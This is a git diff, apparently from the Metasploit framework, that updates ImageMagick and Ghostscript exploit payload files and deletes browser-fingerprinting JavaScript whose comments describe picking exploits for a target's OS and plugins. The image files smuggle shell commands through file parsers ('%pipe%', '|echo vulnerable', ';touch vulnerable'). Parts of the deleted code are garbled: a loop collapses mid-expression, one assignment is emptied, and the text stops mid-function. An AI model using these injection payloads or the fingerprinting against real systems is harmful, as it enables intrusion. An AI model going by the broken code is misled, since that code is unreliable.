diff --git a/data/exploits/imagemagick/delegate/msf.ps b/data/exploits/imagemagick/delegate/msf.ps
new file mode 100644
index 0000000000..f811ab6103
--- /dev/null
+++ b/data/exploits/imagemagick/delegate/msf.ps
@@ -0,0 +1,4 @@
+%!PS
+currentdevice null true mark /OutputICCProfile (%pipe%echo vulnerable > /dev/tty)
+.putdeviceparams
+quit
diff --git a/data/exploits/imagemagick/delegate/msf.svg b/data/exploits/imagemagick/delegate/msf.svg
index 2b3181763c..0366d5da5b 100644
--- a/data/exploits/imagemagick/delegate/msf.svg
+++ b/data/exploits/imagemagick/delegate/msf.svg
@@ -1,5 +1,5 @@
diff --git a/data/exploits/imagemagick/popen/msf.miff b/data/exploits/imagemagick/popen/msf.miff
deleted file mode 100644
index 7d76908b3e..0000000000
--- a/data/exploits/imagemagick/popen/msf.miff
+++ /dev/null
@@ -1,14 +0,0 @@
-id=ImageMagick version=1.0
-class=DirectClass colors=0 matte=False
-columns=1 rows=1 depth=16
-colorspace=sRGB
-page=1x1+0+0
-rendering-intent=Perceptual
-gamma=0.454545
-red-primary=0.64,0.33 green-primary=0.3,0.6 blue-primary=0.15,0.06
-white-point=0.3127,0.329
-date:create=2016-05-04T00:19:42-05:00
-date:modify=2016-05-04T00:19:42-05:00
-label={";touch vulnerable"}
-
-:ÿÿÿÿÿÿ
diff --git a/data/exploits/imagemagick/popen/msf.mvg b/data/exploits/imagemagick/popen/msf.mvg
index dfb1238de8..4317957963 100644
--- a/data/exploits/imagemagick/popen/msf.mvg
+++ b/data/exploits/imagemagick/popen/msf.mvg
@@ -3,6 +3,6 @@ encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
-image Over 0,0 1,1 '|touch vulnerable'
+image Over 0,0 1,1 '|echo vulnerable > /dev/tty'
pop graphic-context
pop graphic-context
diff --git a/data/exploits/imagemagick/popen/msf.svg b/data/exploits/imagemagick/popen/msf.svg
index 304d69723f..94398dfcb3 100644
--- a/data/exploits/imagemagick/popen/msf.svg
+++ b/data/exploits/imagemagick/popen/msf.svg
@@ -1,5 +1,5 @@
diff --git a/data/js/detect/ie_addons.js b/data/js/detect/ie_addons.js
deleted file mode 100644
index 380da28d12..0000000000
--- a/data/js/detect/ie_addons.js
+++ /dev/null
@@ -1,89 +0,0 @@
-var ie_addons_detect = { };
-
-/**
- * Returns true if this ActiveX is available, otherwise false.
- * Grabbed this directly from browser_autopwn.rb
- **/
-ie_addons_detect.hasActiveX = function (axo_name, method) {
- var axobj = null;
- if (axo_name.substring(0,1) == String.fromCharCode(123)) {
- axobj = document.createElement("object");
- axobj.setAttribute("classid", "clsid:" + axo_name);
- axobj.setAttribute("id", axo_name);
- axobj.setAttribute("style", "visibility: hidden");
- axobj.setAttribute("width", "0px");
- axobj.setAttribute("height", "0px");
- document.body.appendChild(axobj);
- if (typeof(axobj[method]) == 'undefined') {
- var attributes = 'id="' + axo_name + '"';
- attributes += ' classid="clsid:' + axo_name + '"';
- attributes += ' style="visibility: hidden"';
- attributes += ' width="0px" height="0px"';
- document.body.innerHTML += "";
- axobj = document.getElementById(axo_name);
- }
- } else {
- try {
- axobj = new ActiveXObject(axo_name);
- } catch(e) {
- // If we can't build it with an object tag and we can't build it
- // with ActiveXObject, it can't be built.
- return false;
- };
- }
- if (typeof(axobj[method]) != 'undefined') {
- return true;
- }
-
- return false;
-};
-
-/**
- * Returns the version of Microsoft Office. If not found, returns null.
- **/
-ie_addons_detect.getMsOfficeVersion = function () {
- var version;
- var types = new Array();
- for (var i=1; i <= 5; i++) {
- try {
- types[i-1] = typeof(new ActiveXObject("SharePoint.OpenDocuments." + i.toString()));
- }
- catch (e) {
- types[i-1] = null;
- }
- }
-
- if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' &&
- types[3] == 'object' && types[4] == 'object')
- {
- version = "2012";
- }
- else if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' &&
- types[3] == 'object' && types[4] == null)
- {
- version = "2010";
- }
- else if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' &&
- types[3] == null && types[4] == null)
- {
- version = "2007";
- }
- else if (types[0] == 'object' && types[1] == 'object' && types[2] == null &&
- types[3] == null && types[4] == null)
- {
- version = "2003";
- }
- else if (types[0] == 'object' && types[1] == null && types[2] == null &&
- types[3] == null && types[4] == null)
- {
- // If run for the first time, you must manullay allow the "Microsoft Office XP"
- // add-on to run. However, this prompt won't show because the ActiveXObject statement
- // is wrapped in an exception handler.
- version = "xp";
- }
- else {
- version = null;
- }
-
- return version;
-}
\ No newline at end of file
diff --git a/data/js/detect/misc_addons.js b/data/js/detect/misc_addons.js
deleted file mode 100644
index 4246d752a7..0000000000
--- a/data/js/detect/misc_addons.js
+++ /dev/null
@@ -1,157 +0,0 @@
-var misc_addons_detect = { };
-
-
-/**
- * Detects whether the browser supports Silverlight or not
- **/
-misc_addons_detect.hasSilverlight = function () {
- var found = false;
-
- //
- // When on IE, we can use AgControl.AgControl to actually detect the version too.
- // But this ability is specific to IE, so we fall back to just true/false response
- //
- try {
- var ax = new ActiveXObject('AgControl.AgControl');
- found = true;
- } catch(e) {}
-
- //
- // ActiveX didn't get anything, try looking in MIMEs
- //
- if (!found) {
- var mimes = window.navigator.mimeTypes;
- for (var i=0; i < mimes.length; i++) {
- if (/x\-silverlight/.test(mimes[i].type)) {
- found = true;
- break;
- }
- }
- }
-
- //
- // MIMEs didn't work either. Try navigator.
- //
- if (!found) {
- var count = navigator.plugins.length;
- for (var i=0; i < count; i++) {
- var pluginName = navigator.plugins[i].name;
- if (/Silverlight Plug\-In/.test(pluginName)) {
- found = true;
- break;
- }
- }
- }
-
- return found;
-}
-
-/**
- * Returns the Adobe Flash version
-**/
-misc_addons_detect.getFlashVersion = function () {
- var foundVersion = null;
-
- //
- // Gets the Flash version by using the GetVariable function via ActiveX
- //
- try {
- var ax = new ActiveXObject('ShockwaveFlash.ShockwaveFlash').GetVariable('$version').toString();
- foundVersion = ax.match(/[\d,]+/g)[0].replace(/,/g, '.')
- } catch (e) {}
-
- //
- // This should work fine for most non-IE browsers
- //
- if (foundVersion == null) {
- var mimes = window.navigator.mimeTypes;
- for (var i=0; i foundVersion) {
- foundVersion = version;
- }
- }
- }
- }
-
- //
- // This finds the Java version from navigator plugins
- // This is necessary for Windows + Firefox setup, but the check isn't as good as the mime one.
- // So we do this last.
- //
- if (foundVersion == null) {
- var foundJavaString = "";
- var pluginsCount = navigator.plugins.length;
- for (i=0; i < pluginsCount; i++) {
- var pluginName = navigator.plugins[i].name;
- var pluginVersion = navigator.plugins[i].version;
- if (/Java/.test(pluginName) && pluginVersion != undefined) {
- foundVersion = navigator.plugins[i].version;
- break;
- }
- }
- }
-
- return foundVersion;
-}
\ No newline at end of file
diff --git a/data/js/detect/os.js b/data/js/detect/os.js
deleted file mode 100644
index aafc60410a..0000000000
--- a/data/js/detect/os.js
+++ /dev/null
@@ -1,831 +0,0 @@
-// Case matters, see lib/msf/core/constants.rb
-// All of these should match up with constants in ::Msf::HttpClients
-var clients_opera = "Opera";
-var clients_ie = "MSIE";
-var clients_ff = "Firefox";
-var clients_chrome = "Chrome";
-var clients_safari = "Safari";
-
-// All of these should match up with constants in ::Msf::OperatingSystems
-var oses_linux = "Linux";
-var oses_android = "Android";
-var oses_windows = "Windows";
-var oses_mac_osx = "Mac OS X";
-var oses_apple_ios = "iOS";
-var oses_freebsd = "FreeBSD";
-var oses_netbsd = "NetBSD";
-var oses_openbsd = "OpenBSD";
-
-// All of these should match up with the ARCH_* constants
-var arch_armle = "armle";
-var arch_x86 = "x86";
-var arch_x86_64 = "x86_64";
-var arch_ppc = "ppc";
-var arch_mipsle = "mipsle";
-
-var os_detect = {};
-
-/**
- * This can reliably detect browser versions for IE and Firefox even in the
- * presence of a spoofed User-Agent. OS detection is more fragile and
- * requires truthful navigator.appVersion and navigator.userAgent strings in
- * order to be accurate for more than just IE on Windows.
- **/
-os_detect.getVersion = function(){
- //Default values:
- var os_name;
- var os_vendor;
- var os_device;
- var os_flavor;
- var os_sp;
- var os_lang;
- var ua_name;
- var ua_version;
- var arch = "";
- var useragent = navigator.userAgent;
- // Trust but verify...
- var ua_is_lying = false;
-
- var version = "";
- var unknown_fingerprint = null;
-
- var css_is_valid = function(prop, propCamelCase, css) {
- if (!document.createElement) return false;
- var d = document.createElement('div');
- d.setAttribute('style', prop+": "+css+";")
- return d.style[propCamelCase] === css;
- }
-
- var input_type_is_valid = function(input_type) {
- if (!document.createElement) return false;
- var input = document.createElement('input');
- input.setAttribute('type', input_type);
- return input.type == input_type;
- }
-
- //--
- // Client
- //--
- if (window.opera) {
- ua_name = clients_opera;
- if (!navigator.userAgent.match(/Opera/)) {
- ua_is_lying = true;
- }
- // This seems to be completely accurate, e.g. "9.21" is the return
- // value of opera.version() when run on Opera 9.21
- ua_version = opera.version();
- if (!os_name) {
- // The 'inconspicuous' argument is there to give us a real value on
- // Opera 6 where, without it, the return value is supposedly
- // 'Hm, were you only as smart as Bjorn Vermo...'
- // though I have not verfied this claim.
- switch (opera.buildNumber('inconspicuous')) {
- case "344": // opera-9.0-20060616.1-static-qt.i386-en-344
- case "1347": // Opera 9.80 / Ubuntu 10.10 (Karmic Koala)
- case "2091": // opera-9.52-2091.gcc3-shared-qt3.i386.rpm
- case "2444": // opera-9.60.gcc4-shared-qt3.i386.rpm
- case "2474": // Opera 9.63 / Debian Testing (Lenny)
- case "4102": // Opera 10.00 / Ubuntu 8.04 LTS (Hardy Heron)
- case "6386": // 10.61
- os_name = oses_linux;
- break;
- case "1074": // Opera 11.50 / Windows XP
- case "1100": // Opera 11.52 / Windows XP
- case "3445": // 10.61
- case "3516": // Opera 10.63 / Windows XP
- case "7730": // Opera 8.54 / Windows XP
- case "8502": // "Opera 9 Eng Setup.exe"
- case "8679": // "Opera_9.10_Eng_Setup.exe"
- case "8771": // "Opera_9.20_Eng_Setup.exe"
- case "8776": // "Opera_9.21_Eng_Setup.exe"
- case "8801": // "Opera_9.22_Eng_Setup.exe"
- case "10108": // "Opera_952_10108_en.exe"
- case "10467": // "Opera_962_en_Setup.exe"
- case "10476": // Opera 9.63 / Windows XP
- case "WMD-50433": // Windows Mobile - "Mozilla/5.0 (Windows Mobile; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.00"
- os_name = oses_windows;
- break;
- case "2480": // Opera 9.64 / FreeBSD 7.0
- os_name = oses_freebsd;
- break;
- case "6386": // 10.61
- os_name = oses_mac_osx;
- break;
- case "1407":
- // In the case of mini versions, the UA is quite a bit
- // harder to spoof, so it's correspondingly easier to
- // trust. Unfortunately, despite being fairly truthful in
- // what OS it's running on, Opera mini seems to lie like a
- // rug in regards to the browser version.
- //
- // iPhone, iOS 5.0.1
- // Opera/9.80 (iPhone; Opera Mini/7.1.32694/27.1407; U; en) Presto/2.8.119 Version/11.10.10
- // Android 2.3.6, opera mini 7.1
- // Opera/9.80 (Android; Opera Mini/7.29530/27.1407; U; en) Presto/2.8.119 Version/11.101.10
- if (navigator.userAgent.indexOf("Android")) {
- os_name = oses_android;
- } else if (navigator.userAgent.indexOf("iPhone")) {
- os_name = oses_apple_ios;
- os_device = "iPhone";
- }
- break;
- // A few are ambiguous, record them here
- case "1250":
- // Opera 9.80 / Windows XP
- // Opera 11.61 / Windows XP
- // Opera 11.61 / Debian 4.0 (Etch)
- break;
- default:
- unknown_fingerprint = opera.buildNumber('inconspicuous');
- break;
- }
- }
- } else if (typeof window.onmousewheel != 'undefined' && ! (typeof ScriptEngineMajorVersion == 'function') ) { // IE 10 now has onmousewheel
-
- // Then this is webkit, could be Safari or Chrome.
- // Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1
- // Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5
- // Mozilla/5.0 (Linux; U; Android 2.2; en-au; GT-I9000 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
- // Mozilla/5.0 (iPod; U; CPU iPhone OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8C148
- // Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405
- // Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3
-
- // Google Chrome has window.google (older versions), window.chromium (older versions), and window.window.chrome (3+)
- if (window.chromium || window.google || window.chrome) {
- ua_name = clients_chrome;
- search = "Chrome";
- } else {
- ua_name = clients_safari;
- search = "Version";
- }
-
- platform = navigator.platform.toLowerCase();
- // Just to be a pain, iPod and iPad both leave off "Safari" and
- // "Version" in the UA, see example above. Grab the webkit version
- // instead. =/
- if (platform.match(/ipod/)) {
- os_name = oses_apple_ios;
- os_device = "iPod";
- arch = arch_armle;
- search = "AppleWebKit";
- } else if (platform.match(/ipad/)) {
- os_name = oses_apple_ios;
- os_device = "iPad";
- arch = arch_armle;
- search = "AppleWebKit";
- } else if (platform.match(/iphone/)) {
- os_name = oses_apple_ios;
- os_device = "iPhone";
- arch = arch_armle;
- } else if (platform.match(/macintel/)) {
- os_name = oses_mac_osx;
- arch = arch_x86;
- } else if (platform.match(/linux/)) {
- os_name = oses_linux;
-
- if (platform.match(/x86_64/)) {
- arch = arch_x86_64;
- } else if (platform.match(/arm/)) {
- arch = arch_armle;
- } else if (platform.match(/x86/)) {
- arch = arch_x86;
- } else if (platform.match(/mips/)) {
- arch = arch_mipsle;
- }
-
- // Android overrides Linux
- if (navigator.userAgent.match(/android/i)) {
- os_name = oses_android;
- }
- } else if (platform.match(/windows/)) {
- os_name = oses_windows;
- }
-
- ua_version = this.searchVersion(search, navigator.userAgent);
- if (!ua_version || 0 == ua_version.length) {
- ua_is_lying = true;
- }
- } else if (navigator.oscpu && !document.all && navigator.taintEnabled || 'MozBlobBuilder' in window) {
- // Use taintEnabled to identify FF since other recent browsers
- // implement window.getComputedStyle now. For some reason, checking for
- // taintEnabled seems to cause IE 6 to stop parsing, so make sure this
- // isn't IE first.
-
- // Also check MozBlobBuilder because FF 9.0.1 does not support taintEnabled
-
- // Then this is a Gecko derivative, assume Firefox since that's the
- // only one we have sploits for. We may need to revisit this in the
- // future. This works for multi/browser/mozilla_compareto against
- // Firefox and Mozilla, so it's probably good enough for now.
- ua_name = clients_ff;
- // Thanks to developer.mozilla.org "Firefox for developers" series for most
- // of these.
- // Release changelogs: http://www.mozilla.org/en-US/firefox/releases/
- if ('closest' in Element.prototype) {
- ua_version = '35.0';
- } else if ('matches' in Element.prototype) {
- ua_version = '34.0';
- } else if ('RadioNodeList' in window) {
- ua_version = '33.0';
- } else if ('copyWithin' in Array.prototype) {
- ua_version = '32.0';
- } else if ('fill' in Array.prototype) {
- ua_version = '31.0';
- } else if (css_is_valid('background-blend-mode', 'backgroundBlendMode', 'multiply')) {
- ua_version = '30.0';
- } else if (css_is_valid('box-sizing', 'boxSizing', 'border-box')) {
- ua_version = '29.0';
- } else if (css_is_valid('flex-wrap', 'flexWrap', 'nowrap')) {
- ua_version = '28.0';
- } else if (css_is_valid('cursor', 'cursor', 'grab')) {
- ua_version = '27.0';
- } else if (css_is_valid('image-orientation',
- 'imageOrientation',
- '0deg')) {
- ua_version = '26.0';
- } else if (css_is_valid('background-attachment',
- 'backgroundAttachment',
- 'local')) {
- ua_version = '25.0';
- } else if ('DeviceStorage' in window && window.DeviceStorage &&
- 'default' in window.DeviceStorage.prototype) {
- // https://bugzilla.mozilla.org/show_bug.cgi?id=874213
- ua_version = '24.0';
- } else if (input_type_is_valid('range')) {
- ua_version = '23.0';
- } else if ('HTMLTimeElement' in window) {
- ua_version = '22.0';
- } else if ('createElement' in document &&
- document.createElement('main') &&
- document.createElement('main').constructor === window['HTMLElement']) {
- ua_version = '21.0';
- } else if ('imul' in Math) {
- ua_version = '20.0';
- } else if (css_is_valid('font-size', 'fontSize', '23vmax')) {
- ua_version = '19.0';
- } else if ('devicePixelRatio' in window) {
- ua_version = '18.0';
- } else if ('createElement' in document &&
- document.createElement('iframe') &&
- 'sandbox' in document.createElement('iframe')) {
- ua_version = '17.0';
- } else if ('mozApps' in navigator && 'install' in navigator.mozApps) {
- ua_version = '16.0';
- } else if ('HTMLSourceElement' in window &&
- HTMLSourceElement.prototype &&
- 'media' in HTMLSourceElement.prototype) {
- ua_version = '15.0';
- } else if ('mozRequestPointerLock' in document.body) {
- ua_version = '14.0';
- } else if ('Map' in window) {
- ua_version = "13.0";
- } else if ('mozConnection' in navigator) {
- ua_version = "12.0";
- } else if ('mozVibrate' in navigator) {
- ua_version = "11.0";
- } else if (css_is_valid('-moz-backface-visibility', 'MozBackfaceVisibility', 'hidden')) {
- ua_version = "10.0";
- } else if ('doNotTrack' in navigator) {
- ua_version = "9.0";
- } else if ('insertAdjacentHTML' in document.body) {
- ua_version = "8.0";
- } else if ('ondeviceorientation' in window && !('createEntityReference' in document)) {
- ua_version = "7.0";
- } else if ('MozBlobBuilder' in window) {
- ua_version = "6.0";
- } else if ('isGenerator' in Function) {
- ua_version = "5.0";
- } else if ('isArray' in Array) {
- ua_version = "4.0";
- } else if (document.readyState) {
- ua_version = "3.6";
- } else if (String.trimRight) {
- ua_version = "3.5";
- } else if (document.getElementsByClassName) {
- ua_version = "3";
- } else if (window.Iterator) {
- ua_version = "2";
- } else if (Array.every) {
- ua_version = "1.5";
- } else {
- ua_version = "1";
- }
- if (navigator.oscpu != navigator.platform) {
- ua_is_lying = true;
- }
- // oscpu is unaffected by changes in the useragent and has values like:
- // "Linux i686"
- // "Windows NT 6.0"
- // haven't tested on 64-bit Windows
- version = navigator.oscpu;
- if (version.match(/i.86/)) {
- arch = arch_x86;
- }
- if (version.match(/x86_64/)) {
- arch = arch_x86_64;
- }
- if (version.match(/Windows/)) {
- os_name = oses_windows;
- // Technically these will mismatch server OS editions, but those are
- // rarely used as client systems and typically have the same exploit
- // characteristics as the associated client.
- switch(version) {
- case "Windows NT 5.0": os_name = "Windows 2000"; break;
- case "Windows NT 5.1": os_name = "Windows XP"; break;
- case "Windows NT 5.2": os_name = "Windows 2003"; break;
- case "Windows NT 6.0": os_name = "Windows Vista"; break;
- case "Windows NT 6.1": os_name = "Windows 7"; break;
- case "Windows NT 6.2": os_name = "Windows 8"; break;
- case "Windows NT 6.3": os_name = "Windows 8.1"; break;
- }
- }
- if (version.match(/Linux/)) {
- os_name = oses_linux;
- }
- // end navigator.oscpu checks
- } else if (typeof ScriptEngineMajorVersion == "function") {
- // Then this is IE and we can very reliably detect the OS.
- // Need to add detection for IE on Mac. Low priority, since we
- // don't have any sploits for it yet and it's a very low market
- // share.
- os_name = oses_windows;
- ua_name = clients_ie;
- version_maj = ScriptEngineMajorVersion().toString();
- version_min = ScriptEngineMinorVersion().toString();
- version_build = ScriptEngineBuildVersion().toString();
-
- version = version_maj + version_min + version_build;
-
- //document.write("ScriptEngine: "+version+"
");
- switch (version){
- case "514615":
- // IE 5.00.2920.0000, 2000 Advanced Server SP0 English
- ua_version = "5.0";
- os_name = "Windows 2000";
- os_sp = "SP0";
- break;
- case "515907":
- os_name = "Windows 2000";
- os_sp = "SP3"; //or SP2: oCC.getComponentVersion('{22d6f312-b0f6-11d0-94ab-0080c74c7e95}', 'componentid') => 6,4,9,1109
- break;
- case "518513":
- os_name = "Windows 2000";
- os_sp = "SP4";
- break;
- case "566626":
- // IE 6.0.2600.0000, XP SP0 English
- // IE 6.0.2800.1106, XP SP1 English
- ua_version = "6.0";
- os_name = "Windows XP";
- os_sp = "SP0";
- break;
- case "568515":
- // IE 6.0.3790.0, 2003 Standard SP0 English
- ua_version = "6.0";
- os_name = "Windows 2003";
- os_sp = "SP0";
- break;
- case "568820":
- // IE 6.0.2900.2180, xp sp2 english
- os_name = "Windows XP";
- os_sp = "SP2";
- break;
- case "568827":
- os_name = "Windows 2003";
- os_sp = "SP1";
- break;
- case "568831": //XP SP2 -OR- 2K SP4
- if (os_name == "2000"){
- os_sp = "SP4";
- }
- else{
- os_name = "Windows XP";
- os_sp = "SP2";
- }
- break;
- case "568832":
- os_name = "Windows 2003";
- os_sp = "SP2";
- break;
- case "568837":
- // IE 6.0.2900.2180, XP Professional SP2 Korean
- ua_version = "6.0";
- os_name = "Windows XP";
- os_sp = "SP2";
- break;
- case "5716599":
- // IE 7.0.5730.13, XP Professional SP3 English
- // IE 6.0.2900.5512, XP Professional SP3 English
- // IE 6.0.2900.5512, XP Professional SP3 Spanish
- //
- // Since this scriptengine applies to more than one major version of
- // IE, rely on the object detection below to determine ua_version.
- //ua_version = "6.0";
- os_name = "Windows XP";
- os_sp = "SP3";
- break;
- case "575730":
- // IE 7.0.5730.13, Server 2003 Standard SP2 English
- // IE 7.0.5730.13, Server 2003 Standard SP1 English
- // IE 7.0.5730.13, XP Professional SP2 English
- // Rely on the user agent matching above to determine the OS.
- // This will incorrectly identify 2k3 SP1 as SP2
- ua_version = "7.0";
- os_sp = "SP2";
- break;
- case "5718066":
- // IE 7.0.5730.13, XP Professional SP3 English
- ua_version = "7.0";
- os_name = "Windows XP";
- os_sp = "SP3";
- break;
- case "5722589":
- // IE 7.0.5730.13, XP Professional SP3 English
- ua_version = "7.0";
- os_name = "Windows XP";
- os_sp = "SP3";
- break;
- case "576000":
- // IE 7.0.6000.16386, Vista Ultimate SP0 English
- ua_version = "7.0";
- os_name = "Windows Vista";
- os_sp = "SP0";
- break;
- case "580":
- // IE 8.0.7100.0, Windows 7 English
- // IE 8.0.7100.0, Windows 7 64-bit English
- case "5816385":
- // IE 8.0.7600.16385, Windows 7 English
- case "5816475":
- case "5816762":
- // IE 8.0.7600.16385, Windows 7 English
- ua_version = "8.0";
- os_name = "Windows 7";
- os_sp = "SP0";
- break;
- case "5817514":
- // IE 8.0.7600.17514, Windows 7 SP1 English
- ua_version = "8.0";
- os_name = "Windows 7";
- os_sp = "SP1";
- break;
- case "5818702":
- // IE 8.0.6001.18702, XP Professional SP3 English
- case "5822960":
- // IE 8.0.6001.18702, XP Professional SP3 Greek
- ua_version = "8.0";
- os_name = "Windows XP";
- os_sp = "SP3";
- break;
- case "9016406":
- // IE 9.0.7930.16406, Windows 7 64-bit
- ua_version = "9.0";
- os_name = "Windows 7";
- os_sp = "SP0";
- break;
- case "9016441":
- // IE 9.0.8112.16421, Windows 7 32-bit English
- ua_version = "9.0";
- os_name = "Windows 7";
- os_sp = "SP1";
- break;
- case "9016443":
- // IE 9.0.8112.16421, Windows 7 Polish
- // Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
- ua_version = "9.0";
- os_name = "Windows 7";
- os_sp = "SP1";
- break;
- case "9016446":
- // IE 9.0.8112.16421, Windows 7 English (Update Versions: 9.0.7 (KB2699988)
- // Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MASA; InfoPath.3; MS-RTC LM 8; BRI/2)Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MASA; InfoPath.3; MS-RTC LM 8; BRI/2)
- ua_version = "9.0";
- os_name = "Windows 7";
- os_sp = "SP1";
- break;
- case "9016464":
- // browsershots.org, MSIE 7.0 / Windows 2008 R2
- os_name = "Windows 2008 R2";
- ua_version = "9.0";
- break;
- case "9016470":
- // IE 9.0.8112.16421 / Windows 7 SP1
- ua_version = "9.0";
- os_name = "Windows 7";
- os_sp = "SP1";
- break;
- case "9016502":
- // IE 9.0.8112.16502 / Windows 7 SP1
- ua_version = "9.0";
- os_name = "Windows 7";
- os_sp = "SP1";
- break;
- case "9016506":
- // IE 9.0.8112.16506 / Windows 7 SP1
- ua_version = "9.0";
- os_name = "Windows 7";
- os_sp = "SP1";
- break;
- case "9016514":
- // IE 9.0.8112.16514 / Windows 7 SP1
- ua_version = "9.0";
- os_name = "Windows 7";
- os_sp = "SP1";
- break;
- case "9016520":
- // IE 9.0.8112.16520 / Windows 7 SP1
- ua_version = "9.0";
- os_name = "Windows 7";
- os_sp = "SP1";
- break;
- case "9016526":
- // IE 9.0.8112.16526 / Windows 7 SP1
- ua_version = "9.0";
- os_name = "Windows 7";
- os_sp = "SP1";
- break;
- case "9016533":
- // IE 9.0.8112.16533 / Windows 7 SP1
- ua_version = "9.0";
- os_name = "Windows 7";
- os_sp = "SP1";
- break;
- case "10016720":
- // IE 10.0.9200.16721 / Windows 7 SP1
- ua_version = "10.0";
- os_name = "Windows 7";
- os_sp = "SP1";
- break;
- case "11016428":
- // IE 11.0.9600.16428 / Windows 7 SP1
- ua_version = "11.0";
- os_name = "Windows 7";
- os_sp = "SP1";
- break;
- case "10016384":
- // IE 10.0.9200.16384 / Windows 8 x86
- ua_version = "10.0";
- os_name = "Windows 8";
- os_sp = "SP0";
- break;
- case "11016426":
- // IE 11.0.9600.16476 / KB2898785 (Technically: 11.0.2) Windows 8.1 x86 English
- ua_version = "11.0";
- os_name = "Windows 8.1";
- break;
- case "1000":
- // IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release
- ua_version = "10.0";
- os_name = "Windows 8";
- os_sp = "SP0";
- break;
- case "1100":
- // IE 11.0.10011.0 Windows 10.0 (Build 10074) English - insider preview
- ua_version = "11.0";
- os_name = "Windows 10";
- os_sp = "SP0";
- break;
- default:
- unknown_fingerprint = version;
- break;
- }
-
- if (!ua_version) {
- // The ScriptEngine functions failed us, try some object detection
- if (document.documentElement && (typeof document.documentElement.style.maxHeight)!="undefined") {
- // IE 11 detection, see: http://msdn.microsoft.com/en-us/library/ie/bg182625(v=vs.85).aspx
- try {
- if (document.__proto__ != undefined) { ua_version = "11.0"; }
- } catch (e) {}
-
- // IE 10 detection using nodeName
- if (!ua_version) {
- try {
- var badNode = document.createElement && document.createElement("badname");
- if (badNode && badNode.nodeName === "BADNAME") { ua_version = "10.0"; }
- } catch(e) {}
- }
-
- // IE 9 detection based on a "Object doesn't support property or method" error
- if (!ua_version) {
- try {
- document.BADNAME();
- } catch(e) {
- if (e.message.indexOf("BADNAME") > 0) {
- ua_version = "9.0";
- }
- }
- }
-
- // IE8 detection straight from IEBlog. Thank you Microsoft.
- if (!ua_version) {
- try {
- ua_version = "8.0";
- document.documentElement.style.display = "table-cell";
- } catch(e) {
- // This executes in IE7,
- // but not IE8, regardless of mode
- ua_version = "7.0";
- }
- }
- } else if (document.compatMode) {
- ua_version = "6.0";
- } else if (window.createPopup) {
- ua_version = "5.5";
- } else if (window.attachEvent) {
- ua_version = "5.0";
- } else {
- ua_version = "4.0";
- }
- switch (navigator.appMinorVersion){
- case ";SP2;":
- os_sp = "SP2";
- break;
- }
- }
- }
-
- if (!os_name && navigator.platform == "Win32") { os_name = oses_windows; }
-
- //--
- // Figure out the type of Windows
- //--
- if (!ua_is_lying) {
- version = useragent.toLowerCase();
- } else if (navigator.oscpu) {
- // Then this is Gecko and we can get at least os_name without the
- // useragent
- version = navigator.oscpu.toLowerCase();
- } else {
- // All we have left is the useragent and we know it's lying, so don't bother
- version = " ";
- }
- if (!os_name || 0 == os_name.length) {
- if (version.indexOf("windows") != -1) { os_name = oses_windows; }
- else if (version.indexOf("mac") != -1) { os_name = oses_mac_osx; }
- else if (version.indexOf("linux") != -1) { os_name = oses_linux; }
- }
- if (os_name == oses_windows) {
- if (version.indexOf("windows 95") != -1) { os_name = "Windows 95"; }
- else if (version.indexOf("windows nt 4") != -1) { os_name = "Windows NT"; }
- else if (version.indexOf("win 9x 4.9") != -1) { os_name = "Windows ME"; }
- else if (version.indexOf("windows 98") != -1) { os_name = "Windows 98"; }
- else if (version.indexOf("windows nt 5.0") != -1) { os_name = "Windows 2000"; }
- else if (version.indexOf("windows nt 5.1") != -1) { os_name = "Windows XP"; }
- else if (version.indexOf("windows nt 5.2") != -1) { os_name = "Windows 2003"; }
- else if (version.indexOf("windows nt 6.0") != -1) { os_name = "Windows Vista"; }
- else if (version.indexOf("windows nt 6.1") != -1) { os_name = "Windows 7"; }
- else if (version.indexOf("windows nt 6.2") != -1) { os_name = "Windows 8"; }
- else if (version.indexOf("windows nt 6.3") != -1) { os_name = "Windows 8.1"; }
- }
- if (os_name == oses_linux && (!os_vendor || 0 == os_vendor.length)) {
- if (version.indexOf("gentoo") != -1) { os_vendor = "Gentoo"; }
- else if (version.indexOf("ubuntu") != -1) { os_vendor = "Ubuntu"; }
- else if (version.indexOf("debian") != -1) { os_vendor = "Debian"; }
- else if (version.indexOf("rhel") != -1) { os_vendor = "RHEL"; }
- else if (version.indexOf("red hat") != -1) { os_vendor = "RHEL"; }
- else if (version.indexOf("centos") != -1) { os_vendor = "CentOS"; }
- else if (version.indexOf("fedora") != -1) { os_vendor = "Fedora"; }
- else if (version.indexOf("android") != -1) { os_vendor = "Android"; }
- }
-
- //--
- // Language
- //--
- if (navigator.systemLanguage) {
- // ie
- os_lang = navigator.systemLanguage;
- } else if (navigator.language) {
- // gecko derivatives, safari, opera
- os_lang = navigator.language;
- } else {
- // some other browser and we don't know how to get the language, so
- // just guess english
